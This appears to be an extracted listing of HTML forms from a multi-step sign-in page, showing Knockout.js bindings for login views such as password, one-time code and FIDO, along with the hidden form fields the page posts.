                htmlWithBindings: html['CT_STR_DeviceId'],
                childBindings: {
                    'caDeviceId': { css: {'bold': true} } }">
                    </div>
                    <div data-bind="
                htmlWithBindings: html['CT_STR_DevicePlatform'],
                childBindings: {
                    'caDevicePlatform': { css: {'bold': true} } }">
                    </div>
                    <div data-bind="
                htmlWithBindings: html['CT_STR_DeviceState'],
                childBindings: {
                    'caDeviceState': { css: {'bold': true} } }">
                    </div>
                    <!-- /ko -->
                    <!-- ko if: $page.paginationControlHelper.showErrorPageDebugDetails -->
                    <!-- ko if: svr.strAppDisplayName -->
                    <div>
                      <span class="bold">App name: </span>
                      <span data-bind="text: svr.strAppDisplayName"></span>
                    </div>
                    <!-- /ko -->
                    <!-- ko if: svr.strDevicePlatformForUI -->
                    <div>
                      <span class="bold">Device platform: </span>
                      <span data-bind="text: svr.strDevicePlatformForUI"></span>
                    </div>
                    <!-- /ko -->
                    <!-- ko if: svr.strDeviceState -->
                    <div>
                      <span class="bold">Device state: </span>
                      <span data-bind="text: svr.strDeviceState"></span>
                    </div>
                    <!-- /ko -->
                    <!-- ko if: svr.strClientIP -->
                    <div>
                      <span class="bold">IP address: </span>
                      <span data-bind="text: svr.strClientIP"></span>
                    </div>
                    <!-- /ko -->
                    <!-- ko if: svr.strCurrentUser -->
                    <div>
                      <span class="bold">Signed in as: </span>
                      <span data-bind="text: svr.strCurrentUser"></span>
                    </div>
                    <!-- /ko -->
                    <!-- /ko -->
                  </div>
                  <!-- /ko -->
                </div>
              </div>
              <!-- /ko -->
            </div>
          </div>
        </div>
        <!-- ko if: $page.paginationControlHelper.showFooterControl -->
        <div id="footer" role="contentinfo" data-bind="
        externalCss: {
            'footer': true,
            'has-background': !$page.useDefaultBackground() &amp;&amp; $page.showFooter(),
            'background-always-visible': $page.backgroundLogoUrl }">
          <div data-bind="component: { name: 'footer-control',
            publicMethods: $page.footerMethods,
            params: {
                serverData: svr,
                useDefaultBackground: $page.useDefaultBackground(),
                hasDarkBackground: $page.backgroundLogoUrl(),
                showLinks: true,
                showFooter: $page.showFooter(),
                hideTOU: $page.hideTOU(),
                termsText: $page.termsText(),
                termsLink: $page.termsLink(),
                hidePrivacy: $page.hidePrivacy(),
                privacyText: $page.privacyText(),
                privacyLink: $page.privacyLink() },
            event: {
                agreementClick: $page.footer_agreementClick,
                showDebugDetails: $page.toggleDebugDetails_onClick } }">
          </div>
        </div>
        <!-- /ko -->
      </div>
      <!-- /ko -->
    </div>
    <!-- /ko -->
    <!-- ko if: isVerticalSplitTemplate() && isTemplateLoaded() -->
    <div id="verticalSplitTemplateContainer" data-bind="component: { name: 'vertical-split-template', params: { serverData: svr, showHeader: $page.showHeader(), headerLogo: $page.headerLogo() } }, css: { 'provide-min-height': svr.fUseMinHeight }">
    </div>
    <!-- /ko -->
    <!-- /ko -->
    <!-- /ko -->
  </div>
  <!-- /ko -->
</form>

POST

<form data-bind="postRedirectForm: postRedirect" method="POST" aria-hidden="true" target="_top"></form>

Name: f1POST

<form name="f1" id="i0281" novalidate="novalidate" spellcheck="false" method="post" target="_top" autocomplete="off"
  data-bind="visible: !isLoginPageHidden(), autoSubmit: forceSubmit, attr: { action: postUrl }, ariaHidden: !!activeDialog(), css: { 'provide-min-height': svr.fUseMinHeight }">
  <!-- ko withProperties: { '$loginPage': $data } -->
  <div class="login-paginated-page" data-bind="component: { name: 'master-page',
        publicMethods: masterPageMethods,
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }">
    <!-- ko if: svr.fShowCookieBanner -->
    <!-- ko component: "cookie-banner-control" --><!-- /ko -->
    <!-- /ko -->
    <div class="lightbox-cover" data-bind="css: { 'disable-lightbox': svr.fAllowGrayOutLightBox &amp;&amp; showLightboxProgress() }"></div>
    <!-- ko if: showLightboxProgress -->
    <div id="progressBar" class="progress" role="progressbar" data-bind="component: 'marching-ants-control', ariaLabel: str['WF_STR_ProgressText']"></div>
    <!-- /ko -->
    <!-- ko if: loadBannerLogo -->
    <div data-bind="component: { name: 'logo-control',
            params: {
                isChinaDc: svr.fIsChinaDc,
                bannerLogoUrl: bannerLogoUrl() } }">
    </div>
    <!-- /ko -->
    <!-- ko if: svr.strLWADisclaimerMsg && paginationControlHelper.showLwaDisclaimer() -->
    <div id="LWADisclaimer" class="text-caption" data-bind="text: svr.strLWADisclaimerMsg"></div>
    <!-- /ko -->
    <!-- ko if: asyncInitReady -->
    <div role="main" data-bind="component: { name: 'pagination-control',
            publicMethods: paginationControlMethods,
            params: {
                enableCssAnimation: svr.fEnableCssAnimation,
                disableAnimationIfAnimationEndUnsupported: svr.fDisableAnimationIfAnimationEndUnsupported,
                initialViewId: initialViewId,
                currentViewId: currentViewId,
                initialSharedData: initialSharedData,
                initialError: $loginPage.getServerError() },
            event: {
                cancel: paginationControl_onCancel,
                load: paginationControlHelper.onLoad,
                unload: paginationControlHelper.onUnload,
                loadView: view_onLoadView,
                showView: view_onShow,
                setLightBoxFadeIn: view_onSetLightBoxFadeIn,
                animationStateChange: paginationControl_onAnimationStateChange } }">
      <div data-viewid="1" data-showfedcredbutton="true" data-bind="pageViewComponent: { name: 'login-paginated-username-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    displayName: sharedData.displayName,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    prefillNames: $loginPage.prefillNames,
                    flowToken: sharedData.flowToken,
                    availableSignupCreds: sharedData.availableSignupCreds,
                    customStrings: $loginPage.customStrings(),
                    isCustomizationFailure: $loginPage.isCustomStringsLoadFailure(), 
                    userIdLabel: $loginPage.userIdLabel,
                    cantAccessYourAccountText: $loginPage.cantAccessYourAccountText,
                    hideAccountResetCredentials: $loginPage.hideAccountResetCredentials,
                    accessRecoveryLink: $loginPage.accessRecoveryLink,
                    boilerPlateText: $loginPage.boilerPlateText },
                event: {
                    restoreIsRecoveryAttemptPost: $loginPage.view_onRestoreIsRecoveryAttemptPost,
                    redirect: $loginPage.view_onRedirect,
                    updateDFPUrl: $loginPage.view_onUpdateDFPUrl,
                    setPendingRequest: $loginPage.view_onSetPendingRequest,
                    registerDialog: $loginPage.view_onRegisterDialog,
                    unregisterDialog: $loginPage.view_onUnregisterDialog,
                    showDialog: $loginPage.view_onShowDialog,
                    updateAvailableCredsWithoutUsername: $loginPage.view_onUpdateAvailableCreds,
                    agreementClick: $loginPage.footer_agreementClick } }">
      </div>
      <!-- ko ifnot: svr.fUsePromotedFedCredTypesArray -->
      <div data-viewid="57" data-bind="pageViewComponent: { name: 'login-signup-username-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    displayName: sharedData.displayName,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    flowToken: sharedData.flowToken,
                    customStrings: $loginPage.customStrings(),
                    isCustomizationFailure: $loginPage.isCustomStringsLoadFailure() },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <!-- /ko -->
      <!-- ko if: svr.fUsePromotedFedCredTypesArray -->
      <div data-viewid="57" data-showsignupfedcredbutton="true" data-bind="pageViewComponent: { name: 'login-signup-username-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    displayName: sharedData.displayName,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    flowToken: sharedData.flowToken,
                    customStrings: $loginPage.customStrings(),
                    isCustomizationFailure: $loginPage.isCustomStringsLoadFailure() },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <!-- /ko -->
      <div data-viewid="2" data-showidentitybanner="true" data-dynamicbranding="true" data-bind="pageViewComponent: { name: 'login-paginated-password-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    hipRequiredForUsername: sharedData.hipRequiredForUsername,
                    passwordBrowserPrefill: sharedData.passwordBrowserPrefill,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    showCredViewBrandingDesc: sharedData.showCredViewBrandingDesc,
                    flowToken: sharedData.flowToken,
                    defaultKmsiValue: svr.iDefaultLoginOptions === 1,
                    userTenantBranding: sharedData.userTenantBranding,
                    sessions: sharedData.sessions,
                    callMetadata: sharedData.callMetadata,
                    supportsNativeCredentialRecovery: sharedData.supportsNativeCredentialRecovery,
                    forgotPasswordText: $loginPage.forgotPasswordText,
                    accessRecoveryLink: $loginPage.accessRecoveryLink,
                    boilerPlateText: $loginPage.boilerPlateText,
                    hideAccountResetCredentials: $loginPage.hideAccountResetCredentials },
                event: {
                    restoreIsRecoveryAttemptPost: $loginPage.view_onRestoreIsRecoveryAttemptPost,
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    submitReady: $loginPage.view_onSubmitReady,
                    redirect: $loginPage.view_onRedirect,
                    resetPassword: $loginPage.passwordView_onResetPassword,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <!-- ko if: svr.fIsQrCodePinSupported -->
      <div data-viewid="85" data-showidentitybanner="true" data-dynamicbranding="true" data-bind="pageViewComponent: { name: 'login-paginated-qr-code-pin-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    qrCodeData: sharedData.qrCodeData },
                event: {
                    submitReady: $loginPage.view_onSubmitReady } }">
      </div>
      <!-- /ko -->
      <div data-viewid="56" data-showidentitybanner="true" data-dynamicbranding="true" data-bind="pageViewComponent: { name: 'login-access-pass-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    unsafe_username: sharedData.username,
                    unsafe_displayName: sharedData.displayName,
                    availableCreds: sharedData.availableCreds,
                    flowToken: sharedData.flowToken,
                    isTapRestrictedWsi: sharedData.isTapRestrictedWsi },
                event: {
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    submitReady: $loginPage.view_onSubmitReady,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    redirect: $loginPage.view_onRedirect,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="63" data-showqrcodesigninbutton="true" data-bind="pageViewComponent: { name: 'search-organization-view',
                params: {
                    serverData: svr },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="44" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-proof-confirmation-view',
                params: {
                    serverData: svr,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    currentCred: sharedData.otcCredential,
                    flowToken: sharedData.flowToken },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="3" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-paginated-otc-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    otcParams: sharedData.otcParams,
                    preferredCredential: sharedData.preferredCredential,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    showCredViewBrandingDesc: sharedData.showCredViewBrandingDesc,
                    currentCred: sharedData.otcCredential,
                    proofConfirmation: sharedData.proofConfirmation,
                    defaultKmsiValue: svr.iDefaultLoginOptions === 1,
                    flowToken: sharedData.flowToken,
                    isSignup: sharedData.isSignupPost,
                    customStrings: $loginPage.customStrings(),
                    isCustomizationFailure: $loginPage.isCustomStringsLoadFailure() },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    submitReady: $loginPage.view_onSubmitReady,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="77" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-paginated-otc-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    otcParams: sharedData.recoveryCredentialsData.otcParams,
                    preferredCredential: sharedData.recoveryCredentialsData.preferredCredential,
                    availableCreds: sharedData.recoveryCredentialsData.availableRecoveryCreds,
                    currentCred: sharedData.recoveryCredentialsData.otcCredential,
                    proofConfirmation: sharedData.proofConfirmation,
                    flowToken: sharedData.flowToken,
                    isNativeRecovery: true },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    submitReady: $loginPage.view_onSubmitReady,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="4" data-dynamicbranding="true" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-remote-ngc-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    remoteNgcParams: sharedData.remoteNgcParams,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    showCredViewBrandingDesc: sharedData.showCredViewBrandingDesc,
                    defaultKmsiValue: svr.iDefaultLoginOptions === 1,
                    sessions: sharedData.sessions,
                    flowToken: sharedData.flowToken,
                    idpRedirectUrl: sharedData.idpRedirectUrl },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    updateRemoteNgcParams: $loginPage.view_onUpdateRemoteNgcParams,
                    submitReady: $loginPage.view_onSubmitReady,
                    setBackButtonState: view_onSetIdentityBackButtonState } }">
      </div>
      <div data-viewid="52" data-dynamicbranding="true" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'remote-connect-canary-validation-view',
                params: {
                    serverData: svr,
                    postCanaryValidationAction: $loginPage.postCanaryValidationAction },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    setBackButtonState: view_onSetIdentityBackButtonState } }">
      </div>
      <div data-viewid="5" data-bind="pageViewComponent: { name: 'login-phone-disambiguation-view',
                params: {
                    serverData: svr,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    location: sharedData.location,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    flowToken: sharedData.flowToken },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="6" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-paginated-lwa-consent-view',
                params: {
                    serverData: svr,
                    username: sharedData.username,
                    displayName: sharedData.displayName },
                event: {
                    submitReady: $loginPage.view_onSubmitReady } }">
      </div>
      <div data-viewid="7" data-bind="pageViewComponent: { name: 'login-idp-disambiguation-view',
                params: {
                    serverData: svr,
                    isInitialView: isInitialState,
                    displayName: sharedData.displayName,
                    hasInitialError: sharedData.hasIdpDisambigError,
                    sessions: sharedData.sessions,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    idpRedirectUrl: sharedData.idpRedirectUrl,
                    idpRedirectPostParams: sharedData.idpRedirectPostParams,
                    preferredCredential: sharedData.preferredCredential,
                    desktopSsoExecuted: sharedData.desktopSsoExecuted,
                    desktopSsoEnabled: sharedData.desktopSsoEnabled },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="8" data-bind="pageViewComponent: { name: 'login-idp-redirect-view',
                params: {
                    serverData: svr,
                    idpRedirectUrl: sharedData.idpRedirectUrl,
                    idpRedirectPostParams: sharedData.idpRedirectPostParams,
                    idpRedirectProvider: sharedData.idpRedirectProvider },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="41" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-idp-redirect-speedbump-view',
                params: {
                    serverData: svr,
                    username: sharedData.username,
                    idpRedirectUrl: sharedData.idpRedirectUrl,
                    idpRedirectPostParams: sharedData.idpRedirectPostParams,
                    idpRedirectProvider: sharedData.idpRedirectProvider,
                    isInitialView: isInitialState,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    showCredViewBrandingDesc: sharedData.showCredViewBrandingDesc,
                    flowToken: sharedData.flowToken },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="12" data-bind="pageViewComponent: { name: 'tiles-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    sessions: sharedData.sessions,
                    flowToken: sharedData.flowToken,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    isTileRequestPending: $loginPage.asyncTileRequestCount > 0,
                    availableSignupCreds: sharedData.availableSignupCreds },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="10" data-wide="true" data-hidelogo="true" data-hidelwadisclaimer="true" data-hidepageleveltitleanddesc="true" data-bind="pageViewComponent: { name: 'login-view-agreement-view',
                    params: {
                        serverData: svr,
                        agreementType: $loginPage.agreementType } }">
      </div>
      <div data-viewid="49" data-wide="true" data-hidelogo="true" data-hidelwadisclaimer="true" data-hidepageleveltitleanddesc="true" data-bind="pageViewComponent: { name: 'login-view-learn-more-offline-account-view',
                    params: {
                        serverData: svr } }">
      </div>
      <div data-viewid="74" data-hidelogo="true" data-hidelwadisclaimer="true" data-hidepageleveltitleanddesc="true" data-bind="pageViewComponent: { name: 'web-native-bridge-view',
                    params: {
                        serverData: svr,
                        request: sharedData.request,
                        flowToken: sharedData.flowToken,
                        reprocessGct: true },
                    event: {
                        executeGctResult: $loginPage.fetchSessions_onExecuteGctResult,
                        redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="70" data-hidepageleveltitleanddesc="true" data-bind="pageViewComponent: { name: 'see-how-data-is-managed-view',
                    params: {
                        serverData: svr } }">
      </div>
      <div data-viewid="13" data-showidentitybanner="true" data-dynamicbranding="true" data-bind="pageViewComponent: { name: 'login-confirm-send-view',
                params: {
                    serverData: svr,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    preferredCredential: sharedData.preferredCredential,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    currentCred: sharedData.otcCredential,
                    sessions: sharedData.sessions,
                    flowToken: sharedData.flowToken },
                event: {
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    redirect: $loginPage.view_onRedirect,
                    setBackButtonState: view_onSetIdentityBackButtonState } }">
      </div>
      <div data-viewid="15" data-hidelwadisclaimer="true" data-bind="pageViewComponent: { name: 'login-remote-login-polling-view',
                params: {
                    serverData: svr,
                    autoSendOtcRequest: isInitialState,
                    userCode: sharedData.remoteLoginUserCode,
                    deviceCode: sharedData.remoteLoginDeviceCode },
                event: {
                    submitReady: $loginPage.view_onSubmitReady } }">
      </div>
      <div data-viewid="11" data-hidelogo="true" data-hidelwadisclaimer="true" data-bind="pageViewComponent: { name: 'login-learn-more-view',
                    params: {
                        serverData: svr,
                        command: 'loginlearnmore' } }">
      </div>
      <div data-viewid="19" data-bind="pageViewComponent: { name: 'login-reset-password-splitter-view',
                params: {
                    serverData: svr },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <!-- ko if: svr.fIsQrCodePinSupported -->
      <div data-viewid="84" data-bind="pageViewComponent: { name: 'login-qr-code-scan-view',
                params: {
                    serverData: svr,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    flowToken: sharedData.flowToken,
                    qrCodePinParams: sharedData.qrCodePinParams },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <!-- /ko -->
      <div data-viewid="55" data-bind="pageViewComponent: { name: 'fetch-sessions-progress-view',
                params: {
                    serverData: svr,
                    sessionPullType: $loginPage.sessionPullType,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    unsafe_desktopSsoDomainToUse: sharedData.unsafe_desktopSsoDomainToUse,
                    preferredCredential: sharedData.preferredCredential,
                    isPushNotification: sharedData.remoteNgcParams.defaultType === 1 },
                event: {
                    updateUserTiles: $loginPage.fetchSessions_onUpdateUserTiles,
                    executeGctResult: $loginPage.fetchSessions_onExecuteGctResult,
                    submitReady: $loginPage.view_onSubmitReady,
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="23" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-fido-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    allowList: sharedData.fidoParams.allowList,
                    challenge: sharedData.flowToken,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    flowToken: sharedData.flowToken,
                    sessions: sharedData.sessions },
                event: {
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    submitReady: $loginPage.view_onSubmitReady,
                    redirect: $loginPage.view_onRedirect,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    setLoginPageHiddenState: $loginPage.view_onSetLoginPageHiddenState} }">
      </div>
      <div data-viewid="24" data-bind="pageViewComponent: { name: 'login-credential-picker-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    isUserKnown: !!sharedData.displayName,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    flowToken: sharedData.flowToken },
                event: {
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    redirect: $loginPage.view_onRedirect,
                    setPendingRequest: $loginPage.view_onSetPendingRequest,
                    registerDialog: $loginPage.view_onRegisterDialog,
                    unregisterDialog: $loginPage.view_onUnregisterDialog,
                    showDialog: $loginPage.view_onShowDialog } }">
      </div>
      <div data-viewid="27" data-bind="pageViewComponent: { name: 'login-confirm-signup-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    displayName: sharedData.displayName },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="80" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-certificate-interstitial-view',
                params: {
                    serverData: svr,
                    availableCreds: sharedData.availableCreds,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    displayName: sharedData.displayName },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="28" data-bind="pageViewComponent: { name: 'login-confirm-recover-username-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    displayName: sharedData.displayName },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <!-- ko if: svr.fShowUserAlreadyExistErrorHandling || svr.fBlockOnAppleEmailClaimError -->
      <div data-viewid="82" data-bind="pageViewComponent: { name: 'login-signup-blocked-view',
                params: {
                    serverData: svr,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    flowToken: sharedData.flowToken,
                    username: sharedData.username },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <!-- /ko -->
      <div data-viewid="30" data-bind="pageViewComponent: { name: 'login-fed-conflict-view',
                params: {
                    serverData: svr },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="54" data-bind="pageViewComponent: { name: 'login-proof-fed-conflict-view',
                params: {
                    serverData: svr },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="51" data-bind="pageViewComponent: { name: 'login-aad-fed-conflict-view',
                params: {
                    serverData: svr,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="38" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-fed-link-view',
                params: {
                    serverData: svr,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    flowToken: sharedData.flowToken },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="50" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-tenant-disambiguation-view',
                params: {
                    serverData: svr,
                    unsafe_username: sharedData.username,
                    unsafe_displayName: sharedData.displayName,
                    tenantList: sharedData.tenantList },
                event: {
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    submitReady: $loginPage.view_onSubmitReady } }">
      </div>
      <div data-viewid="61" data-bind="pageViewComponent: { name: 'login-credential-picker-view',
                params: {
                    serverData: svr,
                    isInitialView: isInitialState,
                    isSignup: true,
                    availableCreds: sharedData.availableSignupCreds },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="76" data-bind="pageViewComponent: { name: 'login-credential-picker-view',
                params: {
                    serverData: svr,
                    isInitialView: isInitialState,
                    availableCreds: sharedData.recoveryCredentialsData.availableRecoveryCreds },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="66" data-bind="pageViewComponent: { name: 'login-remote-connect-location-view',
                params: {
                    serverData: svr } }">
      </div>
      <div data-viewid="59" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'more-info-view',
                params: {
                    serverData: svr,
                    moreInfoTitle: str['CT_WSI_WebSignIn_RestrictedToTapHeader'],
                    moreInfo: str['CT_WSI_WebSignIn_RestrictedToTapError'],
                    showErrorText: true,
                    isInitialView: isInitialState } }">
      </div>
      <!-- ko if: svr.fIsVerifiableCredentialsSupportEnabled -->
      <div data-viewid="83" data-dynamicbranding="true" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-verifiable-credential-presentation-view',
                params: {
                    availableCreds: sharedData.availableCreds,
                    serverData: svr,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    flowToken: sharedData.flowToken },
                event: {
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    submitReady: $loginPage.view_onSubmitReady,
                    setPendingRequest: $loginPage.view_onSetPendingRequest }}">
      </div>
      <!-- /ko -->
    </div>
    <!-- /ko -->
    <input type="hidden" name="ps" data-bind="value: postedLoginStateViewId">
    <input type="hidden" name="psRNGCDefaultType" data-bind="value: postedLoginStateViewRNGCDefaultType">
    <input type="hidden" name="psRNGCEntropy" data-bind="value: postedLoginStateViewRNGCEntropy">
    <input type="hidden" name="psRNGCSLK" data-bind="value: postedLoginStateViewRNGCSLK">
    <!-- ko if: svr.sCanaryTokenName && !svr.fSkipRenderingNewCanaryToken -->
    <input type="hidden" data-bind="attr: { name: svr.sCanaryTokenName }, value: svr.canary">
    <!-- /ko -->
    <!-- ko if: !svr.sCanaryTokenName || svr.fSkipRenderingNewCanaryToken -->
    <input type="hidden" name="canary" data-bind="value: svr.canary">
    <!-- /ko -->
    <input type="hidden" name="ctx" data-bind="value: ctx">
    <input type="hidden" name="hpgrequestid" data-bind="value: svr.sessionId">
    <input type="hidden" id="i0327" data-bind="attr: { name: svr.sFTName }, value: flowToken">
    <input type="hidden" name="PPSX" data-bind="value: svr.sRandomBlob">
    <input type="hidden" name="NewUser" value="1">
    <input type="hidden" name="FoundMSAs" data-bind="value: svr.sFoundMSAs">
    <input type="hidden" name="fspost" data-bind="value: svr.fPOST_ForceSignin ? 1 : 0">
    <input type="hidden" name="i21" data-bind="value: wasLearnMoreShown() ? 1 : 0">
    <input type="hidden" name="CookieDisclosure" data-bind="value: svr.fShowCookieBanner ? 1 : 0">
    <input type="hidden" name="IsFidoSupported" data-bind="value: isFidoSupported() ? 1 : 0">
    <input type="hidden" name="isSignupPost" data-bind="value: isSignupPost() ? 1 : 0">
    <!-- ko ifnot: svr.fShouldSupportTargetCredentialForRecovery -->
    <input type="hidden" name="isRecoveryAttemptPost" data-bind="value: isRecoveryAttemptPost() ? 1 : 0">
    <!-- /ko -->
    <!-- ko if: svr.fEnableDFPIntegration -->
    <input type="hidden" name="DfpArtifact" data-bind="value: dfpResult()">
    <!-- /ko -->
    <!-- ko if: svr.fShouldSupportTargetCredentialForRecovery && targetCredentialForRecovery() -->
    <input type="hidden" name="targetCredentialForRecovery" data-bind="value: targetCredentialForRecovery()">
    <!-- /ko -->
    <div data-bind="component: { name: 'instrumentation-control',
            publicMethods: instrumentationMethods,
            params: { serverData: svr } }">
    </div>
  </div>
  <!-- /ko -->
</form>

